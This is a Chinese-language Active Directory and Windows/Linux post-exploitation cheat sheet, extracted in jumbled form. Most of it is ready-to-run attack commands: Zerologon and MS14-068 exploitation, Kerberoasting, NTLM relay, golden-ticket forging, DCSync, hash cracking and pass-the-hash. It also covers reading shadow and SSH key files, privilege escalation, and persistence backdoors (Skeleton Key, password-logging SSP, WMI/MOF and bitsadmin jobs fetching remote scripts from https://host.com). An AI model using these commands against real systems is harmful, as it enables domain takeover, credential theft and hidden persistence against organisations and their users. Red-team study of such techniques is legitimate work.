利用SYSVOL还原组策略中保存的密码 ipconfig /all ------> 查询本机 IP 段,所在域等 net user ------> 本机用户列表 net localgroup administrators ------> 本机管理员[通常含有域用户] net user /domain ------> 查询域用户 net group /domain ------> 查询域里面的工作组 net group "domain admins" /domain ------> 查询域管理员用户组 net localgroup administrators /domain ------> 登录本机的域管理员 net localgroup administrators workgroup\user001 /add ----->域用户添加到本机 net group "Domain controllers" -------> 查看域控制器(如果有多台) net view ------> 查询同一域内机器列表 net view /domain ------> 查询域列表 net view /domain:domainname dsquery computer domainroot -limit 65535 && net group "domain computers" /domain ------> 列出该域内所有机器名 dsquery user domainroot -limit 65535 && net user /domain------>列出该域内所有用户名 dsquery subnet ------>列出该域内网段划分 dsquery group && net group /domain ------>列出该域内分组 dsquery ou ------>列出该域内组织单位 dsquery server && net time /domain------>列出该域内域控制器 MS14-068 Kerberos 利用mimikatz将工具得到的[email protected]写入内存,创建缓存证书: 相关阅读 : Kerberos的工具包PyKEK 深入解读MS14-068漏洞 Kerberos的安全漏洞 SPN扫描 Kerberoast可以作为一个有效的方法从Active Directory中以普通用户的身份提取服务帐户凭据,无需向 目标系统发送任何数据包。 SPN是服务在使用Kerberos身份验证的网络上的唯一标识符。它由服务类, 主机名和端口组成。在使用Kerberos身份验证的网络中,必须在内置计算机帐户(如NetworkService或 LocalSystem)或用户帐户下为服务器注册SPN。对于内部帐户,SPN将自动进行注册。但是,如果在域 用户帐户下运行服务,则必须为要使用的帐户的手动注册SPN。 SPN扫描的主要好处是,SPN扫描不需 要连接到网络上的每个IP来检查服务端口,SPN通过LDAP查询向域控执行服务发现,SPN查询是 Kerberos的票据行为一部分,因此比较难检测SPN扫描。 相关阅读 : 非扫描式的SQL Server发现 SPN扫描 扫描SQLServer的脚本 Kerberos的黄金门票 在域上抓取的哈希 相关阅读 : https://adsecurity.org/?p=1640 域服务账号破解实践 Kerberos的认证原理 深刻理解windows安全认证机制ntlm&Kerberos python ms14-068.py -u 域用户@域名 -p 密码 -s 用户SID -d 域主机 mimikatz.exe "kerberos::ptc c:[email protected]" exit net use k: \pentest.comc$ lsadump::dcsync /domain:pentest.com /user:krbtgt kerberos::purge kerberos::golden /admin:administrator /domain:域 /sid:SID /krbtgt:hash值 /ticket:adinistrator.kiribi kerberos::ptt administrator.kiribi kerberos::tgt net use k: \pnet use k: \pentest.comc$ Kerberos的银票务 黄金票据和白银票据的一些区别: Golden Ticket:伪造 TGT ,可以获取 任何Kerberos 服务权限 银票: 伪造TGS, 只能访问指定的服务 加密方式不同: Golden Ticket由 krbtgt 的hash加密 Silver Ticket由 服 务账号 (通常为计算机账户)Hash加密 认证流程不同: 金票在使用的过程需要同域控通信 银票在使用 的过程不需要同域控通信 相关阅读 : 攻击者如何使用Kerberos的银票来利用系统 域渗透——Pass The Ticket 域服务账号破解 与上面SPN扫描类似的原理 https://github.com/nidem/kerberoast 获取所有用作SPN的帐户 从Mimikatz的RAM中提取获得的门票 用rgsrepcrack破解 凭证盗窃 从搜集的密码里面找管理员的密码 NTLM relay One API call away from Domain Admin privexchange Exchange2domain 用于主动让目标机器发起NTLM请求的方法: printerbug PetitPotam Relay LDAP: CVE-2019-1040-dcpwn Relay AD CS/PKI: AD CS/PKI template exploit 集成几个利用的工具: Relayx 内网445端口转发: PortBender setspn -T PENTEST.com -Q */* kerberos::list /export tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433- MYDOMAIN.LOCAL.kirbi Kerberos委派 Wagging-the-Dog.html s4u2pwnage Attacking Kerberos Delegation 用打印服务获取域控 Computer Takeover Combining NTLM Relaying and Kerberos delegation CVE-2019-1040 地址解析协议 实在搞不定再搞ARP zerologon漏洞 CVE-2020-1472的分析与复现 (0range-x.github.io) 1、利用Mimikatz check exploit dcsync restore 2、利用impacket: 取目标主机名+IP install 修改版本的impacket Exp python3 cve-2020-1472-exploit.py <MACHINE_BIOS_NAME> <ip> secretsdump.py <DOMAIN>/<MACHINE_BIOS_NAME>\$@<IP> -no-pass -just-dc-user "Administrator" secretsdump.py -hashes :<HASH_admin> <DOMAIN>/Administrator@<IP> python3 restorepassword.py -target-ip <IP> <DOMAIN>/<MACHINE_BIOS_NAME>@<MACHINE_BIOS_NAME> -hexpass <HEXPASS> lsadump::zerologon /target:dc1.exploit.local /account:dc1$ lsadump::zerologon /target:dc1.exploit.local /account:dc1$ /exploit lsadump::dcsync /dc:dc1.exploit.local /authuser:dc1$ /authdomain:exploit.local /authpassword:"" /domain:exploit.local /authntlm /user:krbtgt lsadump::postzerologon /target:conttosson.locl /account:dc$ python cve-2020-1472-exploit.py DC2008 10.211.55.200 获取到旧的密码明文hex,还原 恢复方法2 通过wmic, pass the hash 拿到域控制器中的本地管理员权限(域管) 然后分别执行,拷贝本机中SAM数据库到本地 提取明文hash secretsdump.py -no-pass cgdomain.com/'DC2008$'@10.211.55.200 -history -just-dc- user administrator secretsdump.py -no-pass cgdomain.com/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:3add1560657a19b3166247eb3eb149ae python restorepassword.py cgdomain.com/DC2008@DC2008 -target-ip 10.211.55.200 - hexpass 59958639cbdd4523de5d42b01adb0e256e0d39aef14c8eef31f4c078862109f253bbb7b3817ab123 d013856c028fa4993f5f5b9a830a3a98d87483b29df3fb55082a1f464b19220a2c04f6605d2d321a 04afbb551f8f19a13d399f9f5af2aa23c5b76b49001033516fefd90cb0348256e8282b22cbf9e70d 82a8b8d2916d578246e288af3af727533d36ad8950fe1c513771377d98a947c4a8eae2b581a74b66 87a2e533b7e89e8d03c2e6c2123d519489869a6e33d3a8884be33107060b62e2852502261f48c097 ddb68750cc55b7688cc951441cf02989a307f55c008e978edbaf31766d17b53505016c7580cb480b wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8adfc85c3490040e942ae1e6c68f645e test.local/[email protected] - reg save HKLM\SYSTEM system.save - reg save HKLM\SAM sam.save - reg save HKLM\SECURITY security.save - get system.save - get sam.save - get security.save - del /f system.save - del /f sam.save - del /f security.save 然后恢复。 CVE-2021-42278 && CVE-2021-42287 sam-the-admin noPac: CVE-2021-42287/CVE-2021-42278 4.列出可匿名访问的SMB共享 5.枚举LDAP 6.查找用户名 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL ./noPac.exe -domain dc.com -user username -pass 'password' /dc owa.dc.com /mAccount mAusername /mPassword password /service cifs /ptt enum4linux -a -u "" -p "" <dc-ip> && enum4linux -a -u "guest" -p "" <dc-ip> smbmap -u "" -p "" -P 445 -H <dc-ip> && smbmap -u "guest" -p "" -P 445 -H <dc- ip> smbclient -U '%' -L //<dc-ip> && smbclient -U 'guest%' -L //<dc-ip> cme smb <ip> -u '' -p '' # 枚举可空Session访问的SMB共享 cme smb <ip> -u 'a' -p '' #枚举可匿名访问的SMB共享 nmap -n -sV --script "ldap* and not brute" -p 389 <dc-ip> ldapsearch -x -h <ip> -s base   得到账号,但是没有密码 密码喷洒 ASREP-Roasting攻击 获取hash 获取ASREP-Roastable账号 拿到任意一个域用户的账号密码 enum4linux -U <dc-ip> | grep 'user:' crackmapexec smb <ip> -u <user> -p '<password>' --users nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum- users.realm='<domain>',userdb=<users_list_file>" <ip> OSINT - 在互联网上寻找用户名 获取域密码策略 : crackmapexec <IP> -u 'user' -p 'password' --pass-pol enum4linx -u 'username' -p 'password' -P <IP> cme smb <dc-ip> -u user.txt -p password.txt --no-bruteforce # 不爆破,只测试单一的 user=password cme smb <dc-ip> -u user.txt -p password.txt # 交叉爆破,根据密码策略,失败过多可能会被封 禁 python GetNPUsers.py <domain>/ -usersfile <usernames.txt> -format hashcat - outputfile <hashes.domain.txt> Rubeus asreproast /format:hashcat Get-DomainUser -PreauthNotRequired -Properties SamAccountName MATCH (u:User {dontreqpreauth:true}), (c:Computer), p=shortestPath((u)-[*1..]-> (c)) RETURN p 获取其他账户密码 1.获取域内所有账户名 2.枚举 SMB 共享 3.bloodhound 4.powerview / pywerview Kerberoasting攻击 获取hash 查找 kerberoastable 账号 MS14-068 FindSMB2UPTime.py GetADUsers.py -all -dc-ip <dc_ip> <domain>/<username> cme smb <ip> -u <user> -p <password> --shares bloodhound-python -d <domain> -u <user> -p <password> -gc <dc> -c all GetUserSPNs.py -request -dc-ip <dc_ip> <domain>/<user>:<password> Rubeus kerberoast Get-DomainUser -SPN -Properties SamAccountName, ServicePrincipalName MATCH (u:User {hasspn:true}) RETURN u MATCH (u:User {hasspn:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p rpcclient $> lookupnames <name> wmic useraccount get name,sid auxiliary/admin/kerberos/ms14_068_kerberos_checksum goldenPac.py -dc-ip <dc_ip> <domain>/<user>:'<password>'@<target> PrintNightmare 枚举 DNS 服务器 7.relay/poisoning攻击 扫描没开启SMB签名的机器 PetitPotam 后续可以跟着adcs攻击 监听 无SMB签名 || 开启IPv6 || ADCS kerberos::ptc "<ticket>" CVE-2021-1675.py <domain>/<user>:<password>@<target> '\\<smb_server_ip>\ <share>\inject.dll' dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query <dc_ip> nmap -Pn -sS -T4 --open --script smb-security-mode -p445 ADDRESS/MASK use exploit/windows/smb/smb_relay cme smb $hosts --gen-relay-list relay.txt PetitPotam.py  -d <domain> <listener_ip> <target_ip> responder -i eth0 mitm6 -d <domain> 1.MS08-068 2.mitm6 -i eth0 -d 3.adcs 拿到hash破解 1.LM 2.NTLM use exploit/windows/smb/smb_relay #常用于windows2003 / windows server2008 responder -I eth0 # 记得先关闭本机的 smb 和 http 服务 ntlmrelayx.py -tf targets.txt ntlmrelayx.py -6 -wh <attacker_ip> -l /tmp -socks -debug ntlmrelayx.py -6 -wh <attacker_ip> -t smb://<target> -l /tmp -socks -debug ntlmrelayx.py -t ldaps://<dc_ip> -wh <attacker_ip> --delegate-access getST.py -spn cifs/<target> <domain>/<netbios_name>\$ -impersonate <user> ntlmrelayx.py -t http://<dc_ip>/certsrv/certfnsh.asp -debug -smb2support --adcs --template DomainController Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt john --format=lm hash.txt hashcat -m 3000 -a 3 hash.txt john --format=nt hash.txt hashcat -m 1000 -a 3 hash.txt 3.NTLMv1 4.NTLMv2 5.Kerberos 5 TGS 6.Kerberos ASREP 9.横向移动 1.PTH 2.PTK john --format=netntlm hash.txt hashcat -m 5500 -a 3 hash.txt john --format=netntlmv2 hash.txt hashcat -m 5600 -a 0 hash.txt rockyou.txt john spn.txt --format=krb5tgs --wordlist=rockyou.txt hashcat -m 13100 -a 0 spn.txt rockyou.txt hashcat -m 18200 -a 0 AS-REP_roast-hashes rockyou.txt psexec.py -hashes ":<hash>" <user>@<ip> wmiexec.py -hashes ":<hash>" <user>@<ip> atexec.py -hashes ":<hash>" <user>@<ip> "command" evil-winrm -i <ip>/<domain> -u <user> -H <hash> xfreerdp /u:<user> /d:<domain> /pth:<hash> /v:<ip> python getTGT.py <domain>/<user> -hashes :<hashes> export KRB5CCNAME=/root/impacket-examples/domain_ticket.ccache python psexec.py <domain>/<user>@<ip> -k -no-pass Rubeus asktgt /user:victim /rc4:<rc4value> Rubeus ptt /ticket:<ticket> Rubeus createnetonly /program:C:\Windows\System32\[cmd.exe||upnpcont.exe] Rubeus ptt /luid:0xdeadbeef /ticket:<ticket> 3.非约束委派 获取票据 查找非约束委派主机 4.约束委派 获取票据 查找约束委派主机 5.基于资源的约束委派 privilege::debug sekurlsa::tickets /export sekurlsa::tickets /export Rubeus dump /service:krbtgt /nowrap Rubeus dump /luid:0xdeadbeef /nowrap Get-NetComputer -Unconstrained Get-DomainComputer -Unconstrained -Properties DnsHostName MATCH (c:Computer {unconstraineddelegation:true}) RETURN c MATCH (u:User {owned:true}), (c:Computer {unconstraineddelegation:true}), p=shortestPath((u)-[*1..]->(c)) RETURN p privilege::debug sekurlsa::tickets /export sekurlsa::tickets / Rubeus dump /service:krbtgt /nowrap Rubeus dump /luid:0xdeadbeef /nowrap Get-DomainComputer -TrustedToAuth -Properties DnsHostName, MSDS- AllowedToDelegateTo MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) RETURN p MATCH (u:User {owned:true}), (c:Computer {name: "<MYTARGET.FQDN>"}), p=shortestPath((u)-[*1..]->(c)) RETURN p 6.dcsync 7.打印机 SpoolService 漏洞利用 8.AD域ACL攻击(aclpwn.py) 9.获取LAPS管理员密码 10.privexchange漏洞 lsadump::dcsync /domain:htb.local /user:krbtgt # Administrators, Domain Admins, Enterprise Admins  组下的账户都行 rpcdump.py <domain>/<user>:<password>@<domain_server> | grep MS-RPRN printerbug.py '<domain>/<username>:<password>'@<Printer IP> <RESPONDERIP> GenericAll on User GenericAll on Group GenericAll / GenericWrite / Write on Computer WriteProperty on Group Self (Self-Membership) on Group WriteProperty (Self-Membership) ForceChangePassword WriteOwner on Group GenericWrite on User WriteDACL + WriteOwner Get-LAPSPasswords -DomainController <ip_dc> -Credential <domain>\<login> | Format-Table -AutoSize foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach- object {Get-AdmPwdPassword -ComputerName $_}}} python privexchange.py -ah <attacker_host_or_ip> <exchange_host> -u <user> -d <domain> -p <password> ntlmrelayx.py -t ldap://<dc_fqdn>--escalate-user <user> Exchange的利用 Exchange2domain CVE-2018-8581 CVE-2019-1040 CVE-2020-0688 NtlmRelayToEWS ewsManage CVE-2021-26855 CVE-2021-28482 11.IPC 12.其他横移 10.权限维持 拿到域控权限 dump ntds.dit 文件 net use \\ip\ipc$ "password" /user:"administrator" net use \\ip\c$ "password" /user:"administrator" 1.向WSUS服务器数据库注入恶意程序更新 WSUSpendu.ps1 # 需要先拿下 WSUS 更新分发服务器 2.MSSQL Trusted Links use exploit/windows/mssql/mssql_linkcrawler 3.GPO Delegation 4.ADCS 后门 域信任关系 子域攻击父域 - SID History版跨域黄金票据 利用域信任密钥获取目标域的权限 - 信任票据 crackmapexec smb 127.0.0.1 -u <user> -p <password> -d <domain> --ntds secretsdump.py '<domain>/<user>:<pass>'@<ip> ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q secretsdump.py -ntds ntds_file.dit -system SYSTEM_FILE -hashes lmhash:nthash LOCAL -outputfile ntlm-extract windows/gather/credentials/domain_hashdump net group "domain admins" myuser /add /domain Golden ticket(黄金票据) Silver Ticket(白银票据) DSRM 后门: PowerShell New-ItemProperty “HKLM:\System\CurrentControlSet\Control\Lsa\” -Name “DsrmAdminLogonBehavior” -Value 2 -PropertyType DWORD Skeleton Key: mimikatz "privilege::debug" "misc::skeleton" "exit" 自定义 SSP DLL: mimikatz "privilege::debug" "misc::memssp" "exit" C:\Windows\System32\kiwissp.log Get-NetGroup -Domain <domain> -GroupName "Enterprise Admins" -FullData|select objectsid mimikatz lsadump::trust kerberos::golden /user:Administrator /krbtgt:<HASH_KRBTGT> /domain:<domain> /sid:<user_sid> /sids:<RootDomainSID-519> /ptt "lsadump::trust /patch" "lsadump::lsa /patch" "kerberos::golden /user:Administrator /domain:<domain> /sid:   <domain_SID> /rc4:<trust_key> /service:krbtgt /target:<target_domain> /ticket: <golden_ticket_path>" 攻击其它林 活动目录持久性技巧 https://adsecurity.org/?p=1929 DS恢复模式密码维护 DSRM密码同步 Windows Server 2008 需要安装KB961320补丁才支持DSRM密码同步,Windows Server 2003不 支持DSRM密码同步。KB961320:https://support.microsoft.com/en-us/help/961320/a-feature- is-available-for-windows-server-2008-that-lets-you-synchroni,可参考:巧用DSRM密码同步将 域控权限持久化 DCshadow Security Support Provider 简单的理解为SSP就是一个DLL,用来实现身份认证 这样就不需要重启 c:/windows/system32 可看到新生成的文件kiwissp.log SID History SID历史记录允许另一个帐户的访问被有效地克隆到另一个帐户 AdminSDHolder&SDProp 利用AdminSDHolder&SDProp(重新)获取域管理权限 Dcsync后门 向域成员赋予Dcsync权限 在登录了test1域账户的机器上执行Dcsync利用操作 利用ptintbug或petipotam漏洞使其它林的DC主动连接到本林的一台无约束委派主机,同时抓取发送过来的 TGT,然后即可将它用于dcsync攻击 privilege::debug misc::memssp mimikatz "privilege::debug" "misc::addsid bobafett ADSAdministrator" Powerview.ps1 Add-DomainObjectAcl -TargetIdentity "DC=vulntarget,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose mimikatz "lsadump::dcsync /domain:vulntarget.com /all /csv" 组策略 https://adsecurity.org/?p=2716 策略对象在持久化及横向渗透中的应用 Hook PasswordChangeNotify http://www.vuln.cn/6812 Kerberoasting后门 域渗透-Kerberoasting AdminSDHolder Backdooring AdminSDHolder for Persistence Delegation Unconstrained Domain Persistence 证书伪造: pyForgeCert 11.敏感文件 windows 敏感配置文件 Linux 敏感配置文件 C:\boot.ini     //查看系统版本 C:\Windows\System32\inetsrv\MetaBase.xml    //IIS配置文件 C:\Windows\repair\sam     //存储系统初次安装的密码 C:\Program Files\mysql\my.ini     //Mysql配置 C:\Program Files\mysql\data\mysql\user.MYD    //Mysql root C:\Windows\php.ini    //php配置信息 C:\Windows\my.ini     //Mysql配置信息 C:\Windows\win.ini    //Windows系统的一个基本系统配置文件 #判断是否在docker容器内 /proc/1/cgroup # 系统版本 cat /etc/issue # 内核版本 cat /proc/version # 账户密码 cat /etc/passwd cat /etc/shadow # 环境变量 cat /etc/profile # 系统应用(命令) ls -lah/sbin # 安装应用(命令) la -lah /usr/bin # 开机自启 cat /etc/crontab # history cat ~/.bash_history cat ~/.nano_history cat ~/.atftp_history cat ~/.mysql_history cat ~/.php_history # 网络配置 cat /etc/resolv.conf cat /etc/networks cat /etc/network/interfaces cat /etc/sysconfig/network cat /etc/host.conf cat /etc/hosts cat /etc/dhcpd.conf # Service配置 cat /etc/apache2/apache2.conf cat /etc/httpd/conf/httpd.conf cat /etc/httpd/conf/httpd2.conf cat /var/apache2/config.inc cat /usr/local/etc/nginx/nginx.conf cat /usr/local/nginx/conf/nginx.conf cat /etc/my.cnf cat /etc/mysql/my.cnf cat /var/lib/mysql/mysql/user.MYD cat /etc/mongod.conf cat /usr/local/redis/redis.conf cat /etc/redis/redis.conf # ftp cat /etc/proftpd.conf # mail cat /var/mail/root cat /var/spool/mail/root cat ~/.fetchmailrc cat /etc/procmailrc cat ~/.procmailrc cat /etc/exim/exim.cf cat /etc/postfix/main.cf cat /etc/mail/sendmail.mc cat /usr/share/sendmail/cf/cf/linux.smtp.mc cat /etc/mail/sendmail.cf # ssh cat ~/.ssh/authorized_keys cat ~/.ssh/identity.pub cat ~/.ssh/identity cat ~/.ssh/id_rsa.pub cat ~/.ssh/id_rsa cat ~/.ssh/id_dsa.pub cat ~/.ssh/id_dsa cat /etc/ssh/ssh_config cat /etc/ssh/sshd_config cat /etc/ssh/ssh_host_dsa_key.pub cat /etc/ssh/ssh_host_dsa_key cat /etc/ssh/ssh_host_rsa_key.pub cat /etc/ssh/ssh_host_rsa_key cat /etc/ssh/ssh_host_key.pub cat /etc/ssh/ssh_host_key # log ls /var/log cat /etc/httpd/logs/access_log cat /etc/httpd/logs/access.log cat /etc/httpd/logs/error_log cat /etc/httpd/logs/error.log cat /var/log/apache2/access_log cat /var/log/apache2/access.log cat /var/log/apache2/error_log cat /var/log/apache2/error.log cat /var/log/apache/access_log cat /var/log/apache/access.log cat /var/log/auth.log cat /var/log/chttp.log cat /var/log/cups/error_log cat /var/log/dpkg.log cat /var/log/faillog cat /var/log/httpd/access_log cat /var/log/httpd/access.log cat /var/log/httpd/error_log cat /var/log/httpd/error.log cat /var/log/lastlog cat /var/log/lighttpd/access.log cat /var/log/lighttpd/error.log cat /var/log/lighttpd/lighttpd.access.log cat /var/log/lighttpd/lighttpd.error.log cat /var/log/messages cat /var/log/secure cat /var/log/syslog cat /var/log/wtmp cat /var/log/xferlog cat /var/log/yum.log cat /var/run/utmp cat /var/webmin/miniserv.log cat /var/www/logs/access_log cat /var/www/logs/access.log # proc fuzz /proc/self/fd/32 12.权限提升 Windows bypass UAC 常用方法 使用IFileOperation COM接口 使用Wusa.exe的extract选项 远程注入SHELLCODE 到傀儡进程 DLL劫持,劫持系统的DLL文件 eventvwr.exe and registry hijacking sdclt.exe SilentCleanup wscript.exe cmstp.exe 修改环境变量,劫持高权限.Net程序 修改注册表HKCU\Software\Classes\CLSID,劫持高权限程序 直接提权过UAC …… 常用工具 UACME Bypass-UAC Yamabiko ... 提权 windows内核漏洞提权 检测类:Windows-Exploit-Suggester,WinSystemHelper,wesng 利用类:windows-kernel-exploits,BeRoot 服务提权 数据库服务,ftp服务等 /proc/self/fd/33 /proc/self/fd/34 /proc/self/fd/35 /proc/sched_debug /proc/mounts /proc/net/arp /proc/net/route /proc/net/tcp /proc/net/udp /proc/net/fib_trie /proc/version WINDOWS错误系统配置 系统服务的错误权限配置漏洞 不安全的注册表权限配置 不安全的文件/文件夹权限配置 计划任务 任意用户以NT AUTHORITY\SYSTEM权限安装msi 提权脚本 PowerUP,ElevateKit Linux 内核溢出提权 linux-kernel-exploits 计划任务 SUID 寻找可利用bin:https://gtfobins.github.io/ 环境变量 Linux环境变量提权 - 先知社区) crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} \; cd /tmp echo “/bin/sh” > ps chmod 777 ps echo $PATH export PATH=/tmp:$PATH cd /home/raj/script ./shell whoami 系统服务的错误权限配置漏洞 不安全的文件/文件夹权限配置 找存储的明文用户名,密码 13.权限维持 Windows 1、密码记录工具 WinlogonHack WinlogonHack 是一款用来劫取远程3389登录密码的工具,在 WinlogonHack 之前有 一个 Gina 木马主要用来截取 Windows 2000下的密码,WinlogonHack 主要用于截 取 Windows XP 以 及 Windows 2003 Server。 键盘记录器 安装键盘记录的目地不光是记录本机密码,是记录管理员一切 的密码,比如说信箱,WEB 网页密码等等,这样也可以得到管理员的很多信息。 NTPass 获取管理员口 令,一般用 gina 方式来,但有些机器上安装了 pcanywhere 等软件,会导致远程登录的时候出现故障,本 软件可实现无障碍截取口令。 Linux 下 openssh 后门 重新编译运行的sshd服务,用于记录用户的登陆 密码。 2、常用的存储Payload位置 WMI : 存储: 读取: 包含数字签名的PE文件 利用文件hash的算法缺陷,向PE文件中隐藏Payload,同时不影响该PE文件的 数字签名 特殊ADS … cat /var/apache2/config.inc cat /var/lib/mysql/mysql/user.MYD cat /root/anaconda-ks.cfg cat ~/.bash_history cat ~/.nano_history cat ~/.atftp_history cat ~/.mysql_history cat ~/.php_history grep -i user [filename] grep -i pass [filename] grep -C 5 "password" [filename] find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla $StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null) $StaticClass.Name = 'Win32_Command' $StaticClass.Put() $StaticClass.Properties.Add('Command' , $Payload) $StaticClass.Put() $Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value 特殊COM文件 磁盘根目录 3、Run/RunOnce Keys 用户级 管理员 4、BootExecute Key 由于smss.exe在Windows子系统加载之前启动,因此会调用配置子系统来加载当前的配置单元,具体注 册表键值为: 5、Userinit Key WinLogon进程加载的login scripts,具体键值: 6、Startup Keys type putty.exe > ...:putty.exe wmic process call create c:\test\ads\...:putty.exe type putty.exe > \\.\C:\test\ads\COM1:putty.exe wmic process call create \\.\C:\test\ads\COM1:putty.exe type putty.exe >C:\:putty.exe wmic process call create C:\:putty.exe HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\R un HKLM\SYSTEM\CurrentControlSet\Control\hivelist HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Session Manager HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders 7、Services 创建服务 8、Browser Helper Objects 本质上是Internet Explorer启动时加载的DLL模块 9、AppInit_DLLs 加载User32.dll会加载的DLL 10、文件关联 11、bitsadmin 12、mof sc create [ServerName] binPath= BinaryPathName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs HKEY_LOCAL_MACHINE\Software\Classes HKEY_CLASSES_ROOT bitsadmin /create backdoor bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://host.com/calc.sct scrobj.dll" bitsadmin /Resume backdoor pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP1"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 1"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consP1"; ScriptingEngine = "JScript"; ScriptText = "GetObject(\"script:https://host.com/test\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; 管理员执行: 13、wmi 每隔60秒执行一次notepad.exe 14、Userland Persistence With Scheduled Tasks 劫持计划任务UserTask,在系统启动时加载dll }; mofcomp test.mof wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23", ExecutablePath="C:\Windows\System32\notepad.exe",CommandLineTemplate="C:\Windows \System32\notepad.exe" wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter82\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\"" function Invoke-ScheduledTaskComHandlerUserTask { [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')] Param ( [Parameter(Mandatory = $True)] [ValidateNotNullOrEmpty()] [String] $Command, [Switch] $Force ) $ScheduledTaskCommandPath = "HKCU:\Software\Classes\CLSID\{58fb76b9-ac85-4e55- ac04-427593b1d060}\InprocServer32" if ($Force -or ((Get-ItemProperty -Path $ScheduledTaskCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){ New-Item $ScheduledTaskCommandPath -Force | New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null }else{ Write-Verbose "Key already exists, consider using -Force" exit } if (Test-Path $ScheduledTaskCommandPath) { Write-Verbose "Created registry entries to hijack the UserTask" }else{ Write-Warning "Failed to create registry key, exiting" 15、Netsh 后门触发:每次调用netsh dll编写:https://github.com/outflanknl/NetshHelperBeacon 16、Shim 常用方式: InjectDll RedirectShortcut RedirectEXE 17、DLL劫持 通过Rattler自动枚举进程,检测是否存在可用dll劫持利用的进程 使用:Procmon半自动测试更精准, 常规生成的dll会导致程序执行报错或中断,使用AheadLib配合生成dll劫持利用源码不会影响程序执行 工具:https://github.com/sensepost/rattler 工具:https://github.com/Yonsm/AheadLib dll劫持不多说 18、DoubleAgent 编写自定义Verifier provider DLL 通过Application Verifier进行安装 注入到目标进程执行payload 每当 目标进程启动,均会执行payload,相当于一个自启动的方式 POC : https://github.com/Cybellum/Dou bleAgent 19、waitfor.exe 不支持自启动,但可远程主动激活,后台进程显示为waitfor.exe POC : https://github.com/3gstudent/ Waitfor-Persistence 20、AppDomainManager 针对.Net程序,通过修改AppDomainManager能够劫持.Net程序的启动过程。如果劫持了系统常见.Net 程序如powershell.exe的启动过程,向其添加payload,就能实现一种被动的后门触发机制 21、Office 劫持Office软件的特定功能:通过dll劫持,在Office软件执行特定功能时触发后门 利用VSTO实现的office后 门 Office加载项 Word WLL Excel XLL Excel VBA add-ins PowerPoint VBA add-ins 参考1 :https://3gstudent.github.io/Use-Office-to-maintain-persistence 参考2 :https://3gstudent.github.io/Office-Persistence-on-x64-operating-system exit } } Invoke-ScheduledTaskComHandlerUserTask -Command "C:\test\testmsg.dll" -Verbose netsh add helper c:\test\netshtest.dll 22、CLR 无需管理员权限的后门,并能够劫持所有.Net程序 POC:https://github.com/3gstudent/CLR-Injection 23、msdtc 利用MSDTC服务加载dll,实现自启动,并绕过Autoruns对启动项的检测 利用:向 %windir%\system32\目录添加dll并重命名为oci.dll 24、Hijack CAccPropServicesClass and MMDeviceEnumerato 利用COM组件,不需要重启系统,不需要管理员权限 通过修改注册表实现 POC:https://github.com/3 gstudent/COM-Object-hijacking 25、Hijack explorer.exe COM组件劫持,不需要重启系统,不需要管理员权限 通过修改注册表实现 26、Windows FAX DLL Injection 